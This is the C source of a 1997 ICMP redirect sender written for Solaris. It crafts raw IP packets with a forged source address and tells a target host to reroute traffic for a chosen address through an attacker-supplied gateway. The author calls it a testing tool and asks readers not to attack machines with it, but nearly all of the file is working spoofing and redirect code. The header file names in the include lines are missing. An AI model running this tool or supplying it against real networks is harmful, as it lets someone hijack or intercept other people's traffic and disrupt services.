/* * generic ICMP redirect sender - tested on Solaris 2.5 (sparc) * compile with cc -o red red.c -lsocket -lnsl * * Mark Henderson - feb 1997 * * usage: red sendto sendfrom redir_addr gw * where: * sendto is the address or hostname of the machine to send the redirect to * sendfrom is the hostname/IP address that the packet should appear to * come from * redir_addr is the hostname/IP address to redirect packets for * gw is the hostname/IP address of the new gateway for redir_addr * * I wrote this for testing purposes. Please don't use it to attack machines or * disrupt services. * * Portions of this code are Copyright (c) 1989, 1993 The Regents of the * University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by Mike Muuss. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. 2. * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. 3. All advertising * materials mentioning features or use of this software must display the * following acknowledgement: This product includes software developed by the * University of California, Berkeley and its contributors. 4. Neither the * name of the University nor the names of its contributors may be used to * endorse or promote products derived from this software without specific * prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #include #include #include #include #include #include #include int main (int argc, char **argv) { int s; char buf[100]; struct ip *ip = (struct ip *) buf; struct icmp *icmp = (struct icmp *) (ip + 1); struct hostent *hp; struct sockaddr_in dst; int offset; int on = 1; bzero (buf, sizeof buf); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror ("socket"); exit (1); } #ifdef IP_HDRINCL if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0) { perror ("IP_HDRINCL"); exit (1); } #endif if (argc != 5) { fprintf (stderr, "usage: %s sendto sendfrom redir_addr gw\n", argv[0]); exit (1); } if ((hp = gethostbyname (argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr (argv[1])) == -1) { fprintf (stderr, "%s: unknown host\n", argv[1]); } } else { bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } if ((hp = gethostbyname (argv[2])) == NULL) { if ((ip->ip_src.s_addr = inet_addr (argv[2])) == -1) { fprintf (stderr, "%s: unknown host\n", argv[2]); } } else { bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length); } if ((hp = gethostbyname (argv[3])) == NULL) { if ((icmp->icmp_ip.ip_dst.s_addr = inet_addr (argv[3])) == -1) { fprintf (stderr, "%s: unknown host\n", argv[3]); } } else { bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length); } if ((hp = gethostbyname (argv[4])) == NULL) { if ((icmp->icmp_gwaddr.s_addr = inet_addr (argv[4])) == -1) { fprintf (stderr, "%s: unknown host\n", argv[4]); } } else { bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length); } printf ("Sending to %s\n", inet_ntoa (ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons (sizeof buf); ip->ip_id = htons (4321); ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills this in */ bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof (ip->ip_dst.s_addr)); icmp->icmp_ip.ip_v = 4; icmp->icmp_ip.ip_hl = sizeof *ip >> 2; icmp->icmp_ip.ip_tos = 0; icmp->icmp_ip.ip_len = htons (100); /* doesn't matter much */ icmp->icmp_ip.ip_id = htons (3722); icmp->icmp_ip.ip_off = 0; icmp->icmp_ip.ip_ttl = 254; icmp->icmp_ip.ip_p = 1; icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip); dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_REDIRECT; icmp->icmp_code = 1; /* host redirect */ icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof (*ip)); if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) < 0) { perror ("sendto"); exit (1); } exit (0); } /* * in_cksum -- Checksum routine for Internet Protocol family headers (C * Version) - code from 4.4 BSD */ in_cksum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); }